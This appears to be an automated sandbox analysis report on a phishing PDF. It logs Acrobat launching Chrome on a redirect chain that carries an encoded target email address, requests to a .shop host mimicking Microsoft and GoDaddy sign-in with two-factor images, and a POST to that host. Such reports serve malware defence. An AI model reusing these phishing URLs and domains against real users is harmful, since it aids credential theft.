Source: global traffic	HTTP traffic detected: GET /static/media/microsoft_logo.png/ HTTP/1.1Host: aea14i7zphg.wqqqqop.shopConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudflare-ipfs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/key_workshcool.png HTTP/1.1Host: aea14i7zphg.wqqqqop.shopConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudflare-ipfs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/person_workshcool.png HTTP/1.1Host: aea14i7zphg.wqqqqop.shopConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudflare-ipfs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/person_office.png HTTP/1.1Host: aea14i7zphg.wqqqqop.shopConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudflare-ipfs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudflare-ipfs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/message_think.png HTTP/1.1Host: aea14i7zphg.wqqqqop.shopConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudflare-ipfs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/person_workshcool.png HTTP/1.1Host: aea14i7zphg.wqqqqop.shopConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/logo-off-1.png HTTP/1.1Host: aea14i7zphg.wqqqqop.shopConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/auth_number.png HTTP/1.1Host: aea14i7zphg.wqqqqop.shopConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudflare-ipfs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/microsoft_logo.png/ HTTP/1.1Host: aea14i7zphg.wqqqqop.shopConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/call_2fa.png HTTP/1.1Host: aea14i7zphg.wqqqqop.shopConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudflare-ipfs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/key_workshcool.png HTTP/1.1Host: aea14i7zphg.wqqqqop.shopConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/2fa_authenticator.png HTTP/1.1Host: aea14i7zphg.wqqqqop.shopConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudflare-ipfs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/godaddy-left.png HTTP/1.1Host: aea14i7zphg.wqqqqop.shopConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudflare-ipfs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/person_office.png HTTP/1.1Host: aea14i7zphg.wqqqqop.shopConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/bg_normal.png HTTP/1.1Host: aea14i7zphg.wqqqqop.shopConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/message_think.png HTTP/1.1Host: aea14i7zphg.wqqqqop.shopConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/auth_number.png HTTP/1.1Host: aea14i7zphg.wqqqqop.shopConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/call_2fa.png HTTP/1.1Host: aea14i7zphg.wqqqqop.shopConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/2fa_authenticator.png HTTP/1.1Host: aea14i7zphg.wqqqqop.shopConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/godaddy-left.png HTTP/1.1Host: aea14i7zphg.wqqqqop.shopConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=KVmkthM6DpEzyGv&MD=29UUu6lb HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com

Source: global traffic	DNS traffic detected: DNS query: www.kooss.com
Source: global traffic	DNS traffic detected: DNS query: maplebearrabat.com
Source: global traffic	DNS traffic detected: DNS query: cloudflare-ipfs.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: pro.ip-api.com
Source: global traffic	DNS traffic detected: DNS query: aea14i7zphg.wqqqqop.shop
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: google.com

Source: unknown

HTTP traffic detected: POST /obufsssssssscaaatoion/ HTTP/1.1Host: aea14i7zphg.wqqqqop.shopConnection: keep-aliveContent-Length: 104sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/json, text/javascript, */*; q=0.01Content-Type: application/x-www-form-urlencoded; charset=UTF-8sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://cloudflare-ipfs.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://cloudflare-ipfs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 17:30:13 GMTContent-Type: text/plain;charset=UTF-8Content-Length: 14Connection: closeSet-Cookie: __cf_bm=NckoPMHvKi0JTGMgrNlWoIZzabm5r3vIL5r6R4bzEAg-1716831013-1.0.1.1-hfNIKUgErOof2oiFLeEES6rj6Y6PeMfeiL0X0p.KnJO1Md3h4L.9JHG9nxWn3p0irR7ALVQ96W451ri4DbrKmg; path=/; expires=Mon, 27-May-24 18:00:13 GMT; domain=.cloudflare-ipfs.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 88a7bb4b9dcb4213-EWRalt-svc: h3=":443"; ma=86400

Source: E0F5C59F9FA661F6F4C50B87FEF3A15A0.2.dr	String found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.p7c
Source: chromecache_185.5.dr	String found in binary or memory: http://blindsignals.com/index.php/2009/07/jquery-delay/
Source: chromecache_185.5.dr	String found in binary or memory: http://bugs.jquery.com/ticket/12282#comment:15
Source: chromecache_185.5.dr	String found in binary or memory: http://bugs.jquery.com/ticket/12359
Source: 77EC63BDA74BD0D0E0426DC8F80085060.2.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: chromecache_185.5.dr	String found in binary or memory: http://dev.w3.org/csswg/cssom/#resolved-values
Source: chromecache_185.5.dr	String found in binary or memory: http://erik.eae.net/archives/2007/07/27/18.54.15/#comment-102291
Source: chromecache_185.5.dr	String found in binary or memory: http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript
Source: chromecache_185.5.dr	String found in binary or memory: http://helpful.knobs-dials.com/index.php/Component_returned_failure_code:_0x80040111_(NS_ERROR_NOT_A
Source: chromecache_185.5.dr	String found in binary or memory: http://javascript.nwbox.com/IEContentLoaded/
Source: chromecache_185.5.dr	String found in binary or memory: http://jquery.com/
Source: chromecache_185.5.dr	String found in binary or memory: http://jquery.org/license
Source: chromecache_185.5.dr	String found in binary or memory: http://json.org/json2.js
Source: chromecache_185.5.dr	String found in binary or memory: http://jsperf.com/getall-vs-sizzle/2
Source: chromecache_200.5.dr	String found in binary or memory: http://schema.org/WebPage
Source: chromecache_185.5.dr	String found in binary or memory: http://sizzlejs.com/
Source: chromecache_185.5.dr	String found in binary or memory: http://weblogs.java.net/blog/driscoll/archive/2009/09/08/eval-javascript-global-context
Source: chromecache_200.5.dr	String found in binary or memory: https://apis.google.com
Source: chromecache_185.5.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=29084
Source: chromecache_185.5.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=491668
Source: chromecache_185.5.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=649285
Source: 800cdb10-a2d4-4d35-9dd5-f3647155a75a.tmp.3.dr, 740d5b8c-cc1f-4a93-94ce-f78452bfeba8.tmp.3.dr	String found in binary or memory: https://chrome.cloudflare-dns.com
Source: chromecache_185.5.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/CSS/display
Source: chromecache_185.5.dr	String found in binary or memory: https://developer.mozilla.org/en/Security/CSP)
Source: chromecache_185.5.dr	String found in binary or memory: https://github.com/jquery/jquery/pull/764
Source: chromecache_200.5.dr	String found in binary or memory: https://ogs.google.com/widget/app/so?awwd=1
Source: chromecache_200.5.dr	String found in binary or memory: https://ogs.google.com/widget/callout?prid=19037050
Source: chromecache_200.5.dr	String found in binary or memory: https://www.google.com/_/og/promos/
Source: chromecache_200.5.dr	String found in binary or memory: https://www.google.com/intl/en/about/products
Source: chromecache_200.5.dr	String found in binary or memory: https://www.google.com/url?q=https://accounts.google.com/signin/v2/identifier%3Fec%3Dfutura_hpp_co_s
Source: chromecache_200.5.dr	String found in binary or memory: https://www.gstatic.com/og/_/js/k=og.qtm.en_US.s-_8OiN4zAs.2019.O/rt=j/m=qabr
Source: chromecache_200.5.dr	String found in binary or memory: https://www.gstatic.com/og/_/ss/k=og.qtm._yk4Kx1DLwg.L.W.O/m=qcwid/excm=qaaw

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55907
Source: unknown	Network traffic detected: HTTP traffic on port 55936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55905
Source: unknown	Network traffic detected: HTTP traffic on port 55951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55910
Source: unknown	Network traffic detected: HTTP traffic on port 55954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49689 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55928
Source: unknown	Network traffic detected: HTTP traffic on port 55938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55929
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55920
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55921
Source: unknown	Network traffic detected: HTTP traffic on port 55957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55923
Source: unknown	Network traffic detected: HTTP traffic on port 55930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55934
Source: unknown	Network traffic detected: HTTP traffic on port 55935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55930
Source: unknown	Network traffic detected: HTTP traffic on port 55952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 55946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 55921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55942
Source: unknown	Network traffic detected: HTTP traffic on port 55932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55944
Source: unknown	Network traffic detected: HTTP traffic on port 55955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55940
Source: unknown	Network traffic detected: HTTP traffic on port 55926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55958
Source: unknown	Network traffic detected: HTTP traffic on port 55958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55950
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55951
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55952
Source: unknown	Network traffic detected: HTTP traffic on port 55950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55965
Source: unknown	Network traffic detected: HTTP traffic on port 55934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55960
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55963
Source: unknown	Network traffic detected: HTTP traffic on port 55928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55942 -> 443

Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.16:55920 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:55924 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:55926 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.16:55961 version: TLS 1.2

System Summary

Found potential malicious PDF (bad image similarity)

Source: 25_May_2024_eSign.pdf

Static PDF information: Image stream: 11

Source: classification engine

Classification label: mal100.phis.winPDF@31/107@32/13

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-05-27 13-30-08-477.log

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\25_May_2024_eSign.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1612 --field-trial-handle=1580,i,12606758722636301871,14801782710418106230,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.kooss.com/j7.php?url=https://m.exactag.com/ai.aspx?tc=d9047570bc40b07205bbd26a23a8d2e6b6b4f9&url=https://maplebearrabat.com/content/cauoaeox/jihu/YWNjb3VudHNyZWNlaXZhYmxlQGFjYWdsb2JhbC5jb20=
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=2004,i,16712865110461069709,7719260107902575291,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
